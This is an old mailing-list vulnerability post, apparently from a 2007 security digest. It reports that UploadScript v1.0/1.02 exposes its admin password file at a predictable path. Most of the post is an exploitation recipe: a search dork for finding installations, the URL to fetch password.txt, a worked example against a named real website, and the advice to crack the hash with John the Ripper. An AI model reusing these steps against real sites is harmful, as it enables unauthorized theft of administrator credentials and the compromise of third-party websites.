Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Wordpress <= v2.1.0

XSS Remote In vCard 2.6 (c)2002

Arbitrary file disclosure vulnerability in rrdbrowse <= 1.6

LI-Guestbook SQL Injection Vulnerability

From:	RaeD Hasadya <raed_(at)_bsdmail.com>
Date:	05.03.2007
Subject:	Show Password Admin In Script Uploadscript

Theif Password Script  UploadScript All Versions To 1.02
Discovered By : Hasadya Raed
Contact : RaeD@BsdMail.Com

Script :  UploadScript V1.0/ 1.02
Dark : Powered by Uploadscript v1.0/v1.02

Only Add This File After The Link :
password.txt

Expl :
Http://www.Victim.Com/Script_Path/password.txt

Example :
http://www.muzikfakultesi.org/index.php?page=tos Change To :
http://www.muzikfakultesi.org/password.txt

Cracked The Pass In John The Ripper

By Hasadya Raed



--
_______________________________________________
Get your free email from http://bsdmail.com